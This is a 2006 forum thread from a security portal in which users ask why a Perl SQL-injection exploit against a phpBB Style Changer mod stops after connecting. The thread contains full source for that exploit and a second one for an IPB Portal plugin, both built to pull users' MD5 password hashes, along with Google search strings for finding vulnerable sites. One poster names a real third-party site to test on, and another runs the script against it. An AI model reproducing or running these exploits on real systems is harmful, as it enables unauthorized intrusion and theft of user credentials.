Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 19, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 492
Members: 0
Total: 492
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> phpBB Style Changer/Demo Mod GET HASH EXPLOIT not complete?
Post new topic  Reply to topic View previous topic :: View next topic 
phpBB Style Changer/Demo Mod GET HASH EXPLOIT not complete?
PostPosted: Mon Feb 06, 2006 1:02 pm Reply with quote
eclipse
Regular user
Regular user
 
Joined: Feb 06, 2006
Posts: 5




is the code of this following exploit here not complete or just not working?
cause i have tried it on my own forum, which is a phpbb 2.0.19 forum.
here's my current perl log:
Code:
C:\>c:\perl\bin\perl.exe c:\perl\bin\bbstyle.pl www.mysite.com /phpbb2/ 2
[+]Make Connection
[+]Connected

usualy it should show you the userid and md5 hash in the dos windows.
like at example:
Code:
C:\>c:\perl\bin\perl.exe c:\perl\bin\bbstyle.pl www.mysite.com /phpbb2/ 2
[+]Connecting...
[+]Connected
[+]User ID: 2
[+]MD5 Hash: 5e027396789a18c37aeda616e3d7991b


here's the exploit code that i have tried:
Code:
#!/usr/bin/perl
#########################################################
#       _______ _______ ______       #
#       |______ |______ |     \      #
#       ______| |______ |_____/      #
#                                    #
#phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT   #
#Created By SkOd                                        #
#SED security Team                                      #
#http://www.sed-team.be                                 #
#skod.uk@gmail.com                                      #
#ISRAEL                                                 #
#########################################################
#google:
#"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style"
#########################################################
use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#   phpBB Style Changer\Viewer MOD SQL injection Exploit   #
#      Tested on phpBB 2.0.19            #
#       created By SkOd. SED Security Team             #
############################################################
   bbstyle.pl [HOST] [PATH] [Target id]
    bbstyle.pl www.host.com /phpbb2/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];
print "[+]Make Connection\n";
$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
while ($hash = <$socket>){
$hash =~ m/open(.*?)template/ && print "[+]User id: $id\n[+]Md5 Hash: $1\n";
}

# milw0rm.com [2006-02-05]


and here is the pendant for invision power board 1.3 forums:
Code:
#!/usr/bin/perl
###########################################
#IPB Portal 1.3->Invision Power Board plugin
#Created By SkOd
#SED security Team , http://sed-team.be
###########################################
#google:
#"Portal 1.3 by Dragoran"
###########################################



use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#      IPB Portal 1.3 SQL injection Get Hash Exploit       #
#          Tested on Invision Power Board 1.3.0         #
#       created By SkOd. SED Security Team             #
############################################################
   ipbpro.pl [HOST] [PATH] [Target id]
     ipbpro.pl www.host.com /forum/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];


$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,1,10),substring(password,11,20),substring(password,21,30)%20FROM%20ibf_members%20Where%20id='.$id.'/*';
$path2 = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20FROM%20ibf_members%20Where%20id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
print "[+]User ID: $id\n";
print "[+]MD5 Hash: ";
while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Exploit Failed\r\n";
print $socket "GET $path2 HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}

# milw0rm.com [2006-01-31]

can anyone help me and tell me, if the phpbb 2.0.19 exploit is missing some code or why the exploit doesnt work? and how can we fix the code, so the exploit works.
View user's profile Send private message
PostPosted: Mon Feb 06, 2006 8:45 pm Reply with quote
UK_Secured
Regular user
Regular user
 
Joined: Feb 06, 2006
Posts: 23




all tested and working like a charm Twisted Evil
View user's profile Send private message
PostPosted: Tue Feb 07, 2006 12:01 am Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




doesnt work for me on any forums i have tried.
View user's profile Send private message
PostPosted: Tue Feb 07, 2006 12:19 am Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




Quote:
phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT



is why, didnt read the comment.
View user's profile Send private message
PostPosted: Tue Feb 07, 2006 6:40 am Reply with quote
eclipse
Regular user
Regular user
 
Joined: Feb 06, 2006
Posts: 5




syntax9 wrote:
Quote:
phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT



is why, didnt read the comment.
demo mod? this "exploit" isn't fully working, it is considere as a demo mod? and i thought demo mod is only the name of the "exploit". daaaammmmmmmmmmmmmmmmmmmmmmmmmmmmmmm Evil or Very Mad
View user's profile Send private message
PostPosted: Tue Feb 07, 2006 10:07 am Reply with quote
UK_Secured
Regular user
Regular user
 
Joined: Feb 06, 2006
Posts: 23




try it here:
http://www.extremepixels.net/phpbb/index.php?s=x

Twisted Evil
View user's profile Send private message
PostPosted: Tue Feb 07, 2006 12:12 pm Reply with quote
eclipse
Regular user
Regular user
 
Joined: Feb 06, 2006
Posts: 5




Thanks UK_Secured, i think my error was i have tried the exploit on the wrong sites, aka wrong phpbb version.
dont worry, i didn't changed anything on the website.
Sk0d said it already, you have to find a phpbb site that has "index.php?s" OR "index.php?style"
but the exploit still doesnt work for every phpbb 2.0.19 forum that should have the mimimum requirements.
View user's profile Send private message
PostPosted: Tue Feb 07, 2006 12:35 pm Reply with quote
UK_Secured
Regular user
Regular user
 
Joined: Feb 06, 2006
Posts: 23




Quote:
google:
"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style"


it's mentioned in the exploit code Wink
View user's profile Send private message
PostPosted: Wed Feb 08, 2006 12:39 pm Reply with quote
SkOd
Beginner
Beginner
 
Joined: Feb 08, 2006
Posts: 1
Location: IL




All my sploits you can found here: =]
http://sed-team.be
if some one have problem PM me... Very Happy
View user's profile Send private message Visit poster's website MSN Messenger ICQ Number
PostPosted: Wed Feb 08, 2006 4:38 pm Reply with quote
eclipse
Regular user
Regular user
 
Joined: Feb 06, 2006
Posts: 5




SkOd wrote:
All my sploits you can found here: =]
http://sed-team.be
if some one have problem PM me... Very Happy
Check your PM Sk0d. Cool
View user's profile Send private message
PostPosted: Fri Mar 10, 2006 10:38 am Reply with quote
lookatmenow
Regular user
Regular user
 
Joined: Feb 24, 2006
Posts: 21




i get the same problem, stops at [+]connected...

although if there's one thing to learn from running a script, if it doesn't work...it's something 'you' are doing wrong.

so the forum is either not vulnerable or you've typed something wrong etc.
View user's profile Send private message
PostPosted: Fri Mar 10, 2006 9:30 pm Reply with quote
greatshape
Beginner
Beginner
 
Joined: Mar 10, 2006
Posts: 4




lookatmenow wrote:
i get the same problem, stops at [+]connected...

although if there's one thing to learn from running a script, if it doesn't work...it's something 'you' are doing wrong.

so the forum is either not vulnerable or you've typed something wrong etc.


Same here, connected and finish... Confused
Code:

someone@Linux:~$ ./bbstyle.pl www.extremepixels.net /phpbb/ 2
[+]Make Connection
[+]Connected
someone@Linux:~$   


All help is appreciated, tnx
View user's profile Send private message
phpBB Style Changer/Demo Mod GET HASH EXPLOIT not complete?
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.164 Seconds